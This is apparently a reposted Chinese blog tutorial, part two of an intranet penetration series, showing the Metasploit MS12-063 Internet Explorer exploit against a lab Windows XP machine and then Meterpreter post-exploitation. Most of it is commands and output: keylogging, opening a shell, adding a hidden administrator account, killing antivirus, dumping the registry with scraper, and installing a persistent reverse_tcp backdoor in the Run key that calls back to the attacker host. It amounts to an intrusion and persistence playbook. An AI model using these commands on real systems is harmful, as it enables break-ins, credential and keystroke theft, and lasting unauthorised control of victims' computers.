分享

内网渗透二:meterpreter的一些利用

 神人自有天助 2016-12-22

http://p4./t01d1765f2cf024d362.png

上一篇 内网渗透一:利用Xss漏洞进入内网 的文章里,

0x01填坑:

我在这里填一下上一篇文章中的坑哈:

我们使用了exploit/windows/browser/ie_execcommand_uaf IE浏览器的这个EXP,但是执行之后发现目标主机虽然跳转了,但是有个报错:

(接第一篇)靶机被强行跳转到被监听的URL

t0165e1ff04e684fc88.jpg

MSF成功监听到

(但,貌似是虚拟机装的XP把这个漏洞补了,所以没产生session会话)

t01fcc6b6cff8f19f8c.jpg

过后查了这个原因好久,在Mickey牛的教导下,终于发现了报错的原因:

t01b39f5efd9cd3e70d.jpg

msf下输入 exploit/windows/browser/ie_execcommand_uaf

0x02找到问题:

执行info,查看该EXP的信息,发现这个EXP原来是针对XP SP3、Vista的IE7、IE8以及Win7的IE8、IE9。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
msf exploit(ie_execcommand_uaf) > info
       Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability 
     Module: exploit/windows/browser/ie_execcommand_uaf
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
Provided by:
  unknown
  eromang
  binjo
  sinn3r <sinn3r@metasploit.com>
  juan vazquez <juan.vazquez@metasploit.com>
Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   IE 7 on Windows XP SP3
  2   IE 8 on Windows XP SP3
  3   IE 7 on Windows Vista
  4   IE 8 on Windows Vista
  5   IE 8 on Windows 7
  6   IE 9 on Windows 7
Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  OBFUSCATE   false            no        Enable JavaScript obfuscation
  SRVHOST     172.16.244.129   yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT     8080             yes       The local port to listen on.
  SSL         false            no        Negotiate SSL for incoming connections
  SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
  SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
  URIPATH                      no        The URI to use for this exploit (default is random)
Payload information:
Description:
  This module exploits a vulnerability found in Microsoft Internet 
  Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object 
  gets deleted in an unexpected manner, but the same memory is reused 
  again later in the CMshtmlEd::Exec() function, leading to a 
  use-after-free condition. Please note that this vulnerability has 
  been exploited in the wild since Sep 14 2012. Also note that 
  presently, this module has some target dependencies for the ROP 
  chain to be valid. For WinXP SP3 with IE8, msvcrt must be present 
  (as it is by default). For Vista or Win7 with IE8, or Win7 with IE9, 
  JRE 1.6.x or below must be installed (which is often the case).
References:
   
http://cvedetails.com/cve/2012-4969/
   
http://www.osvdb.org/85532
   
http://www.microsoft.com/technet/security/bulletin/MS12-063.mspx
   
http://technet.microsoft.com/en-us/security/advisory/2757760
   
http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/
   
http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/


然后默默地去下载了XP SP3、安装IE7(刚安装好的XP SP3使用的是IE6)

t012ac2b9b8be04d57c.jpg

(安装、重启、重新操作了第一篇里的步骤 So 省略若干字....)

0x03 EXP successful:

终于,返回了successful!

t0153df974d9d0f5809.jpg

1
2
sessions:
sessions -i 1

t014c25005aec91d011.jpg

sysinfo ipconfig ps hashdump...

0x04常用命令:

截屏:

1
screenshot

t010e771c1ce04bf392.jpg

t01cee72574f9ee8ec1.jpg

键盘记录:

1
2
3
4
5
6
7
8
meterpreter > run post/windows/capture/keylog_recorder 
[*] Executing module against SPRITEKI-674621
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/loot/20150315141552_default_172.16.244.136_host.windows.key_879494.txt
[*] Recording keystrokes...
^C[*] Saving last few keystrokes...
[*] Interrupt 
[*] Stopping keystroke sniffer...

t0132f846d28cf21bc3.jpg

执行cmd:

1
meterpreter>shell

添加用户:

1
net user add name password /add

添加用户到管理组:

1
net localgroup administrator name /add

因为是内网 开启3389也没什么意义了

http://p6./t01af5a67aa87185a65.jpg

Kill 杀软

http://p8./t01b1051511f357c543.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > run scraper
[*] New session on 172.16.244.136:1114...
[*] Gathering basic system information...
[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: Access is denied.
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\FQvPwGSl.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\HFQhdyFt.reg)
[*]  Cleaning HKLM
[*]  Exporting HKCC
[*]  Downloading HKCC (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\iNNrwzBu.reg)
[*]  Cleaning HKCC
[*]  Exporting HKCR
[*]  Downloading HKCR (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\QBVFVWVP.reg)
[*]  Cleaning HKCR
[*]  Exporting HKU
[*]  Downloading HKU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Vwvxmugh.reg)
[*]  Cleaning HKU
[*] Completed processing on 172.16.244.136:1114...

t01d683cba9ba3e836a.jpg

控制持久化

1
2
3
4
5
6
7
8
9
10
meterpreter > run persistence -X -i 20 3376 -r 172.16.244.129
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/SPRITEKI-674621_20150315.5511/SPRITEKI-674621_20150315.5511.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=172.16.244.129 LPORT=4444
[*] Persistent agent script is 609466 bytes long
[+] Persistent Script written to C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\lBsbPnkcYJvv.vbs
[*] Executing script C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\lBsbPnkcYJvv.vbs
[+] Agent executed with PID 1112
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShFzEOxwbuI
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ShFzEOxwbuI

t01da59aa8ef64c6f68.jpg

1
2
3
4
5
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST
set LPOTR
exploit

在meterpreter下使用Windows API编程,以弹Hello world窗示例

1
2
3
4
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")


t01fcddd6d2070edf15.jpg


0x05更多Meterpreter的命令

参考:

Meterpreter后渗透攻击命令

Metasploit工具Meterpreter的命令速查表


0x06感谢

感谢全能Mickey牛和玄大:玄魂

雪碧 http://weibo.com/520613815

2015-03-19

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多